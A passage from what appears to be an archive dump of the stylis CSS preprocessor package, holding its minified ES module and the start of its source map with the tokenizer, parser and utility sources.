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"}stylis.mjs000064400000022275151677356410006635 0ustar00var e="-ms-";var r="-moz-";var a="-webkit-";var n="comm";var c="rule";var s="decl";var t="@page";var u="@media";var i="@import";var f="@charset";var o="@viewport";var l="@supports";var v="@document";var p="@namespace";var h="@keyframes";var b="@font-face";var w="@counter-style";var d="@font-feature-values";var $="@layer";var g=Math.abs;var k=String.fromCharCode;var m=Object.assign;function x(e,r){return O(e,0)^45?(((r<<2^O(e,0))<<2^O(e,1))<<2^O(e,2))<<2^O(e,3):0}function y(e){return e.trim()}function j(e,r){return(e=r.exec(e))?e[0]:e}function z(e,r,a){return e.replace(r,a)}function C(e,r){return e.indexOf(r)}function O(e,r){return e.charCodeAt(r)|0}function A(e,r,a){return e.slice(r,a)}function M(e){return e.length}function S(e){return e.length}function q(e,r){return r.push(e),e}function B(e,r){return e.map(r).join("")}var D=1;var E=1;var F=0;var G=0;var H=0;var I="";function J(e,r,a,n,c,s,t){return{value:e,root:r,parent:a,type:n,props:c,children:s,line:D,column:E,length:t,return:""}}function K(e,r){return m(J("",null,null,"",null,null,0),e,{length:-e.length},r)}function L(){return H}function N(){H=G>0?O(I,--G):0;if(E--,H===10)E=1,D--;return H}function P(){H=G<F?O(I,G++):0;if(E++,H===10)E=1,D++;return H}function Q(){return O(I,G)}function R(){return G}function T(e,r){return A(I,e,r)}function U(e){switch(e){case 0:case 9:case 10:case 13:case 32:return 5;case 33:case 43:case 44:case 47:case 62:case 64:case 126:case 59:case 123:case 125:return 4;case 58:return 3;case 34:case 39:case 40:case 91:return 2;case 41:case 93:return 1}return 0}function V(e){return D=E=1,F=M(I=e),G=0,[]}function W(e){return I="",e}function X(e){return y(T(G-1,re(e===91?e+2:e===40?e+1:e)))}function Y(e){return W(_(V(e)))}function Z(e){while(H=Q())if(H<33)P();else break;return U(e)>2||U(H)>3?"":" "}function _(e){while(P())switch(U(H)){case 0:q(ne(G-1),e);break;case 2:q(X(H),e);break;default:q(k(H),e)}return e}function ee(e,r){while(--r&&P())if(H<48||H>102||H>57&&H<65||H>70&&H<97)break;return T(e,R()+(r<6&&Q()==32&&P()==32))}function re(e){while(P())switch(H){case e:return G;case 34:case 39:if(e!==34&&e!==39)re(H);break;case 40:if(e===41)re(e);break;case 92:P();break}return G}function ae(e,r){while(P())if(e+H===47+10)break;else if(e+H===42+42&&Q()===47)break;return"/*"+T(r,G-1)+"*"+k(e===47?e:P())}function ne(e){while(!U(Q()))P();return T(e,G)}function ce(e){return W(se("",null,null,null,[""],e=V(e),0,[0],e))}function se(e,r,a,n,c,s,t,u,i){var f=0;var o=0;var l=t;var v=0;var p=0;var h=0;var b=1;var w=1;var d=1;var $=0;var g="";var m=c;var x=s;var y=n;var j=g;while(w)switch(h=$,$=P()){case 40:if(h!=108&&O(j,l-1)==58){if(C(j+=z(X($),"&","&\f"),"&\f")!=-1)d=-1;break}case 34:case 39:case 91:j+=X($);break;case 9:case 10:case 13:case 32:j+=Z(h);break;case 92:j+=ee(R()-1,7);continue;case 47:switch(Q()){case 42:case 47:q(ue(ae(P(),R()),r,a),i);break;default:j+="/"}break;case 123*b:u[f++]=M(j)*d;case 125*b:case 59:case 0:switch($){case 0:case 125:w=0;case 59+o:if(d==-1)j=z(j,/\f/g,"");if(p>0&&M(j)-l)q(p>32?ie(j+";",n,a,l-1):ie(z(j," ","")+";",n,a,l-2),i);break;case 59:j+=";";default:q(y=te(j,r,a,f,o,c,u,g,m=[],x=[],l),s);if($===123)if(o===0)se(j,r,y,y,m,s,l,u,x);else switch(v===99&&O(j,3)===110?100:v){case 100:case 108:case 109:case 115:se(e,y,y,n&&q(te(e,y,y,0,0,c,u,g,c,m=[],l),x),c,x,l,u,n?m:x);break;default:se(j,y,y,y,[""],x,0,u,x)}}f=o=p=0,b=d=1,g=j="",l=t;break;case 58:l=1+M(j),p=h;default:if(b<1)if($==123)--b;else if($==125&&b++==0&&N()==125)continue;switch(j+=k($),$*b){case 38:d=o>0?1:(j+="\f",-1);break;case 44:u[f++]=(M(j)-1)*d,d=1;break;case 64:if(Q()===45)j+=X(P());v=Q(),o=l=M(g=j+=ne(R())),$++;break;case 45:if(h===45&&M(j)==2)b=0}}return s}function te(e,r,a,n,s,t,u,i,f,o,l){var v=s-1;var p=s===0?t:[""];var h=S(p);for(var b=0,w=0,d=0;b<n;++b)for(var $=0,k=A(e,v+1,v=g(w=u[b])),m=e;$<h;++$)if(m=y(w>0?p[$]+" "+k:z(k,/&\f/g,p[$])))f[d++]=m;return J(e,r,a,s===0?c:i,f,o,l)}function ue(e,r,a){return J(e,r,a,n,k(L()),A(e,2,-2),0)}function ie(e,r,a,n){return J(e,r,a,s,A(e,0,n),A(e,n+1,-1),n)}function fe(n,c,s){switch(x(n,c)){case 5103:return a+"print-"+n+n;case 5737:case 4201:case 3177:case 3433:case 1641:case 4457:case 2921:case 5572:case 6356:case 5844:case 3191:case 6645:case 3005:case 6391:case 5879:case 5623:case 6135:case 4599:case 4855:case 4215:case 6389:case 5109:case 5365:case 5621:case 3829:return a+n+n;case 4789:return r+n+n;case 5349:case 4246:case 4810:case 6968:case 2756:return a+n+r+n+e+n+n;case 5936:switch(O(n,c+11)){case 114:return a+n+e+z(n,/[svh]\w+-[tblr]{2}/,"tb")+n;case 108:return a+n+e+z(n,/[svh]\w+-[tblr]{2}/,"tb-rl")+n;case 45:return a+n+e+z(n,/[svh]\w+-[tblr]{2}/,"lr")+n}case 6828:case 4268:case 2903:return a+n+e+n+n;case 6165:return a+n+e+"flex-"+n+n;case 5187:return a+n+z(n,/(\w+).+(:[^]+)/,a+"box-$1$2"+e+"flex-$1$2")+n;case 5443:return a+n+e+"flex-item-"+z(n,/flex-|-self/g,"")+(!j(n,/flex-|baseline/)?e+"grid-row-"+z(n,/flex-|-self/g,""):"")+n;case 4675:return a+n+e+"flex-line-pack"+z(n,/align-content|flex-|-self/g,"")+n;case 5548:return a+n+e+z(n,"shrink","negative")+n;case 5292:return a+n+e+z(n,"basis","preferred-size")+n;case 6060:return a+"box-"+z(n,"-grow","")+a+n+e+z(n,"grow","positive")+n;case 4554:return a+z(n,/([^-])(transform)/g,"$1"+a+"$2")+n;case 6187:return z(z(z(n,/(zoom-|grab)/,a+"$1"),/(image-set)/,a+"$1"),n,"")+n;case 5495:case 3959:return z(n,/(image-set\([^]*)/,a+"$1"+"$`$1");case 4968:return z(z(n,/(.+:)(flex-)?(.*)/,a+"box-pack:$3"+e+"flex-pack:$3"),/s.+-b[^;]+/,"justify")+a+n+n;case 4200:if(!j(n,/flex-|baseline/))return e+"grid-column-align"+A(n,c)+n;break;case 2592:case 3360:return e+z(n,"template-","")+n;case 4384:case 3616:if(s&&s.some((function(e,r){return c=r,j(e.props,/grid-\w+-end/)}))){return~C(n+(s=s[c].value),"span")?n:e+z(n,"-start","")+n+e+"grid-row-span:"+(~C(s,"span")?j(s,/\d+/):+j(s,/\d+/)-+j(n,/\d+/))+";"}return e+z(n,"-start","")+n;case 4896:case 4128:return s&&s.some((function(e){return j(e.props,/grid-\w+-start/)}))?n:e+z(z(n,"-end","-span"),"span ","")+n;case 4095:case 3583:case 4068:case 2532:return z(n,/(.+)-inline(.+)/,a+"$1$2")+n;case 8116:case 7059:case 5753:case 5535:case 5445:case 5701:case 4933:case 4677:case 5533:case 5789:case 5021:case 4765:if(M(n)-1-c>6)switch(O(n,c+1)){case 109:if(O(n,c+4)!==45)break;case 102:return z(n,/(.+:)(.+)-([^]+)/,"$1"+a+"$2-$3"+"$1"+r+(O(n,c+3)==108?"$3":"$2-$3"))+n;case 115:return~C(n,"stretch")?fe(z(n,"stretch","fill-available"),c,s)+n:n}break;case 5152:case 5920:return z(n,/(.+?):(\d+)(\s*\/\s*(span)?\s*(\d+))?(.*)/,(function(r,a,c,s,t,u,i){return e+a+":"+c+i+(s?e+a+"-span:"+(t?u:+u-+c)+i:"")+n}));case 4949:if(O(n,c+6)===121)return z(n,":",":"+a)+n;break;case 6444:switch(O(n,O(n,14)===45?18:11)){case 120:return z(n,/(.+:)([^;\s!]+)(;|(\s+)?!.+)?/,"$1"+a+(O(n,14)===45?"inline-":"")+"box$3"+"$1"+a+"$2$3"+"$1"+e+"$2box$3")+n;case 100:return z(n,":",":"+e)+n}break;case 5719:case 2647:case 2135:case 3927:case 2391:return z(n,"scroll-","scroll-snap-")+n}return n}function oe(e,r){var a="";var n=S(e);for(var c=0;c<n;c++)a+=r(e[c],c,e,r)||"";return a}function le(e,r,a,t){switch(e.type){case $:if(e.children.length)break;case i:case s:return e.return=e.return||e.value;case n:return"";case h:return e.return=e.value+"{"+oe(e.children,t)+"}";case c:e.value=e.props.join(",")}return M(a=oe(e.children,t))?e.return=e.value+"{"+a+"}":""}function ve(e){var r=S(e);return function(a,n,c,s){var t="";for(var u=0;u<r;u++)t+=e[u](a,n,c,s)||"";return t}}function pe(e){return function(r){if(!r.root)if(r=r.return)e(r)}}function he(n,t,u,i){if(n.length>-1)if(!n.return)switch(n.type){case s:n.return=fe(n.value,n.length,u);return;case h:return oe([K(n,{value:z(n.value,"@","@"+a)})],i);case c:if(n.length)return B(n.props,(function(c){switch(j(c,/(::plac\w+|:read-\w+)/)){case":read-only":case":read-write":return oe([K(n,{props:[z(c,/:(read-\w+)/,":"+r+"$1")]})],i);case"::placeholder":return oe([K(n,{props:[z(c,/:(plac\w+)/,":"+a+"input-$1")]}),K(n,{props:[z(c,/:(plac\w+)/,":"+r+"$1")]}),K(n,{props:[z(c,/:(plac\w+)/,e+"input-$1")]})],i)}return""}))}}function be(e){switch(e.type){case c:e.props=e.props.map((function(r){return B(Y(r),(function(r,a,n){switch(O(r,0)){case 12:return A(r,1,M(r));case 0:case 40:case 43:case 62:case 126:return r;case 58:if(n[++a]==="global")n[a]="",n[++a]="\f"+A(n[a],a=1,-1);case 32:return a===1?"":r;default:switch(a){case 0:e=r;return S(n)>1?"":r;case a=S(n)-1:case 2:return a===2?r+e+e:r+e;default:return r}}}))}))}}export{f as CHARSET,n as COMMENT,w as COUNTER_STYLE,s as DECLARATION,v as DOCUMENT,b as FONT_FACE,d as FONT_FEATURE_VALUES,i as IMPORT,h as KEYFRAMES,$ as LAYER,u as MEDIA,r as MOZ,e as MS,p as NAMESPACE,t as PAGE,c as RULESET,l as SUPPORTS,o as VIEWPORT,a as WEBKIT,g as abs,V as alloc,q as append,m as assign,R as caret,L as char,H as character,I as characters,O as charat,E as column,B as combine,ue as comment,ae as commenter,ce as compile,K as copy,W as dealloc,ie as declaration,X as delimit,re as delimiter,ee as escaping,k as from,x as hash,ne as identifier,C as indexof,F as length,D as line,j as match,ve as middleware,be as namespace,P as next,J as node,se as parse,Q as peek,G as position,fe as prefix,he as prefixer,N as prev,z as replace,te as ruleset,pe as rulesheet,oe as serialize,S as sizeof,T as slice,le as stringify,M as strlen,A as substr,U as token,Y as tokenize,_ as tokenizer,y as trim,Z as whitespace};
//# sourceMappingURL=stylis.mjs.map
stylis.mjs.map000064400000116173151677356410007412 0ustar00{"version":3,"file":"stylis.mjs","sources":["../src/Enum.js","../src/Utility.js","../src/Tokenizer.js","../src/Parser.js","../src/Prefixer.js","../src/Serializer.js","../src/Middleware.js"],"sourcesContent":["export var MS = '-ms-'\nexport var MOZ = '-moz-'\nexport var WEBKIT = '-webkit-'\n\nexport var COMMENT = 'comm'\nexport var RULESET = 'rule'\nexport var DECLARATION = 'decl'\n\nexport var PAGE = '@page'\nexport var MEDIA = '@media'\nexport var IMPORT = '@import'\nexport var CHARSET = '@charset'\nexport var VIEWPORT = '@viewport'\nexport var SUPPORTS = '@supports'\nexport var DOCUMENT = '@document'\nexport var NAMESPACE = '@namespace'\nexport var KEYFRAMES = '@keyframes'\nexport var FONT_FACE = '@font-face'\nexport var COUNTER_STYLE = '@counter-style'\nexport var FONT_FEATURE_VALUES = '@font-feature-values'\nexport var LAYER = '@layer'\n","/**\n * @param {number}\n * @return {number}\n */\nexport var abs = Math.abs\n\n/**\n * @param {number}\n * @return {string}\n */\nexport var from = String.fromCharCode\n\n/**\n * @param {object}\n * @return {object}\n */\nexport var assign = Object.assign\n\n/**\n * @param {string} value\n * @param {number} length\n * @return {number}\n */\nexport function hash (value, length) {\n\treturn charat(value, 0) ^ 45 ? (((((((length << 2) ^ charat(value, 0)) << 2) ^ charat(value, 1)) << 2) ^ charat(value, 2)) << 2) ^ charat(value, 3) : 0\n}\n\n/**\n * @param {string} value\n * @return {string}\n */\nexport function trim (value) {\n\treturn value.trim()\n}\n\n/**\n * @param {string} value\n * @param {RegExp} pattern\n * @return {string?}\n */\nexport function match (value, pattern) {\n\treturn (value = pattern.exec(value)) ? value[0] : value\n}\n\n/**\n * @param {string} value\n * @param {(string|RegExp)} pattern\n * @param {string} replacement\n * @return {string}\n */\nexport function replace (value, pattern, replacement) {\n\treturn value.replace(pattern, replacement)\n}\n\n/**\n * @param {string} value\n * @param {string} search\n * @return {number}\n */\nexport function indexof (value, search) {\n\treturn value.indexOf(search)\n}\n\n/**\n * @param {string} value\n * @param {number} index\n * @return {number}\n */\nexport function charat (value, index) {\n\treturn value.charCodeAt(index) | 0\n}\n\n/**\n * @param {string} value\n * @param {number} begin\n * @param {number} end\n * @return {string}\n */\nexport function substr (value, begin, end) {\n\treturn value.slice(begin, end)\n}\n\n/**\n * @param {string} value\n * @return {number}\n */\nexport function strlen (value) {\n\treturn value.length\n}\n\n/**\n * @param {any[]} value\n * @return {number}\n */\nexport function sizeof (value) {\n\treturn value.length\n}\n\n/**\n * @param {any} value\n * @param {any[]} array\n * @return {any}\n */\nexport function append (value, array) {\n\treturn array.push(value), value\n}\n\n/**\n * @param {string[]} array\n * @param {function} callback\n * @return {string}\n */\nexport function combine (array, callback) {\n\treturn array.map(callback).join('')\n}\n","import {from, trim, charat, strlen, substr, append, assign} from './Utility.js'\n\nexport var line = 1\nexport var column = 1\nexport var length = 0\nexport var position = 0\nexport var character = 0\nexport var characters = ''\n\n/**\n * @param {string} value\n * @param {object | null} root\n * @param {object | null} parent\n * @param {string} type\n * @param {string[] | string} props\n * @param {object[] | string} children\n * @param {number} length\n */\nexport function node (value, root, parent, type, props, children, length) {\n\treturn {value: value, root: root, parent: parent, type: type, props: props, children: children, line: line, column: column, length: length, return: ''}\n}\n\n/**\n * @param {object} root\n * @param {object} props\n * @return {object}\n */\nexport function copy (root, props) {\n\treturn assign(node('', null, null, '', null, null, 0), root, {length: -root.length}, props)\n}\n\n/**\n * @return {number}\n */\nexport function char () {\n\treturn character\n}\n\n/**\n * @return {number}\n */\nexport function prev () {\n\tcharacter = position > 0 ? charat(characters, --position) : 0\n\n\tif (column--, character === 10)\n\t\tcolumn = 1, line--\n\n\treturn character\n}\n\n/**\n * @return {number}\n */\nexport function next () {\n\tcharacter = position < length ? charat(characters, position++) : 0\n\n\tif (column++, character === 10)\n\t\tcolumn = 1, line++\n\n\treturn character\n}\n\n/**\n * @return {number}\n */\nexport function peek () {\n\treturn charat(characters, position)\n}\n\n/**\n * @return {number}\n */\nexport function caret () {\n\treturn position\n}\n\n/**\n * @param {number} begin\n * @param {number} end\n * @return {string}\n */\nexport function slice (begin, end) {\n\treturn substr(characters, begin, end)\n}\n\n/**\n * @param {number} type\n * @return {number}\n */\nexport function token (type) {\n\tswitch (type) {\n\t\t// \\0 \\t \\n \\r \\s whitespace token\n\t\tcase 0: case 9: case 10: case 13: case 32:\n\t\t\treturn 5\n\t\t// ! + , / > @ ~ isolate token\n\t\tcase 33: case 43: case 44: case 47: case 62: case 64: case 126:\n\t\t// ; { } breakpoint token\n\t\tcase 59: case 123: case 125:\n\t\t\treturn 4\n\t\t// : accompanied token\n\t\tcase 58:\n\t\t\treturn 3\n\t\t// \" ' ( [ opening delimit token\n\t\tcase 34: case 39: case 40: case 91:\n\t\t\treturn 2\n\t\t// ) ] closing delimit token\n\t\tcase 41: case 93:\n\t\t\treturn 1\n\t}\n\n\treturn 0\n}\n\n/**\n * @param {string} value\n * @return {any[]}\n */\nexport function alloc (value) {\n\treturn line = column = 1, length = strlen(characters = value), position = 0, []\n}\n\n/**\n * @param {any} value\n * @return {any}\n */\nexport function dealloc (value) {\n\treturn characters = '', value\n}\n\n/**\n * @param {number} type\n * @return {string}\n */\nexport function delimit (type) {\n\treturn trim(slice(position - 1, delimiter(type === 91 ? type + 2 : type === 40 ? type + 1 : type)))\n}\n\n/**\n * @param {string} value\n * @return {string[]}\n */\nexport function tokenize (value) {\n\treturn dealloc(tokenizer(alloc(value)))\n}\n\n/**\n * @param {number} type\n * @return {string}\n */\nexport function whitespace (type) {\n\twhile (character = peek())\n\t\tif (character < 33)\n\t\t\tnext()\n\t\telse\n\t\t\tbreak\n\n\treturn token(type) > 2 || token(character) > 3 ? '' : ' '\n}\n\n/**\n * @param {string[]} children\n * @return {string[]}\n */\nexport function tokenizer (children) {\n\twhile (next())\n\t\tswitch (token(character)) {\n\t\t\tcase 0: append(identifier(position - 1), children)\n\t\t\t\tbreak\n\t\t\tcase 2: append(delimit(character), children)\n\t\t\t\tbreak\n\t\t\tdefault: append(from(character), children)\n\t\t}\n\n\treturn children\n}\n\n/**\n * @param {number} index\n * @param {number} count\n * @return {string}\n */\nexport function escaping (index, count) {\n\twhile (--count && next())\n\t\t// not 0-9 A-F a-f\n\t\tif (character < 48 || character > 102 || (character > 57 && character < 65) || (character > 70 && character < 97))\n\t\t\tbreak\n\n\treturn slice(index, caret() + (count < 6 && peek() == 32 && next() == 32))\n}\n\n/**\n * @param {number} type\n * @return {number}\n */\nexport function delimiter (type) {\n\twhile (next())\n\t\tswitch (character) {\n\t\t\t// ] ) \" '\n\t\t\tcase type:\n\t\t\t\treturn position\n\t\t\t// \" '\n\t\t\tcase 34: case 39:\n\t\t\t\tif (type !== 34 && type !== 39)\n\t\t\t\t\tdelimiter(character)\n\t\t\t\tbreak\n\t\t\t// (\n\t\t\tcase 40:\n\t\t\t\tif (type === 41)\n\t\t\t\t\tdelimiter(type)\n\t\t\t\tbreak\n\t\t\t// \\\n\t\t\tcase 92:\n\t\t\t\tnext()\n\t\t\t\tbreak\n\t\t}\n\n\treturn position\n}\n\n/**\n * @param {number} type\n * @param {number} index\n * @return {number}\n */\nexport function commenter (type, index) {\n\twhile (next())\n\t\t// //\n\t\tif (type + character === 47 + 10)\n\t\t\tbreak\n\t\t// /*\n\t\telse if (type + character === 42 + 42 && peek() === 47)\n\t\t\tbreak\n\n\treturn '/*' + slice(index, position - 1) + '*' + from(type === 47 ? type : next())\n}\n\n/**\n * @param {number} index\n * @return {string}\n */\nexport function identifier (index) {\n\twhile (!token(peek()))\n\t\tnext()\n\n\treturn slice(index, position)\n}\n","import {COMMENT, RULESET, DECLARATION} from './Enum.js'\nimport {abs, charat, trim, from, sizeof, strlen, substr, append, replace, indexof} from './Utility.js'\nimport {node, char, prev, next, peek, caret, alloc, dealloc, delimit, whitespace, escaping, identifier, commenter} from './Tokenizer.js'\n\n/**\n * @param {string} value\n * @return {object[]}\n */\nexport function compile (value) {\n\treturn dealloc(parse('', null, null, null, [''], value = alloc(value), 0, [0], value))\n}\n\n/**\n * @param {string} value\n * @param {object} root\n * @param {object?} parent\n * @param {string[]} rule\n * @param {string[]} rules\n * @param {string[]} rulesets\n * @param {number[]} pseudo\n * @param {number[]} points\n * @param {string[]} declarations\n * @return {object}\n */\nexport function parse (value, root, parent, rule, rules, rulesets, pseudo, points, declarations) {\n\tvar index = 0\n\tvar offset = 0\n\tvar length = pseudo\n\tvar atrule = 0\n\tvar property = 0\n\tvar previous = 0\n\tvar variable = 1\n\tvar scanning = 1\n\tvar ampersand = 1\n\tvar character = 0\n\tvar type = ''\n\tvar props = rules\n\tvar children = rulesets\n\tvar reference = rule\n\tvar characters = type\n\n\twhile (scanning)\n\t\tswitch (previous = character, character = next()) {\n\t\t\t// (\n\t\t\tcase 40:\n\t\t\t\tif (previous != 108 && charat(characters, length - 1) == 58) {\n\t\t\t\t\tif (indexof(characters += replace(delimit(character), '&', '&\\f'), '&\\f') != -1)\n\t\t\t\t\t\tampersand = -1\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t// \" ' [\n\t\t\tcase 34: case 39: case 91:\n\t\t\t\tcharacters += delimit(character)\n\t\t\t\tbreak\n\t\t\t// \\t \\n \\r \\s\n\t\t\tcase 9: case 10: case 13: case 32:\n\t\t\t\tcharacters += whitespace(previous)\n\t\t\t\tbreak\n\t\t\t// \\\n\t\t\tcase 92:\n\t\t\t\tcharacters += escaping(caret() - 1, 7)\n\t\t\t\tcontinue\n\t\t\t// /\n\t\t\tcase 47:\n\t\t\t\tswitch (peek()) {\n\t\t\t\t\tcase 42: case 47:\n\t\t\t\t\t\tappend(comment(commenter(next(), caret()), root, parent), declarations)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tcharacters += '/'\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t// {\n\t\t\tcase 123 * variable:\n\t\t\t\tpoints[index++] = strlen(characters) * ampersand\n\t\t\t// } ; \\0\n\t\t\tcase 125 * variable: case 59: case 0:\n\t\t\t\tswitch (character) {\n\t\t\t\t\t// \\0 }\n\t\t\t\t\tcase 0: case 125: scanning = 0\n\t\t\t\t\t// ;\n\t\t\t\t\tcase 59 + offset: if (ampersand == -1) characters = replace(characters, /\\f/g, '')\n\t\t\t\t\t\tif (property > 0 && (strlen(characters) - length))\n\t\t\t\t\t\t\tappend(property > 32 ? declaration(characters + ';', rule, parent, length - 1) : declaration(replace(characters, ' ', '') + ';', rule, parent, length - 2), declarations)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t// @ ;\n\t\t\t\t\tcase 59: characters += ';'\n\t\t\t\t\t// { rule/at-rule\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tappend(reference = ruleset(characters, root, parent, index, offset, rules, points, type, props = [], children = [], length), rulesets)\n\n\t\t\t\t\t\tif (character === 123)\n\t\t\t\t\t\t\tif (offset === 0)\n\t\t\t\t\t\t\t\tparse(characters, root, reference, reference, props, rulesets, length, points, children)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tswitch (atrule === 99 && charat(characters, 3) === 110 ? 100 : atrule) {\n\t\t\t\t\t\t\t\t\t// d l m s\n\t\t\t\t\t\t\t\t\tcase 100: case 108: case 109: case 115:\n\t\t\t\t\t\t\t\t\t\tparse(value, reference, reference, rule && append(ruleset(value, reference, reference, 0, 0, rules, points, type, rules, props = [], length), children), rules, children, length, points, rule ? props : children)\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\t\t\tparse(characters, reference, reference, reference, [''], children, 0, points, children)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tindex = offset = property = 0, variable = ampersand = 1, type = characters = '', length = pseudo\n\t\t\t\tbreak\n\t\t\t// 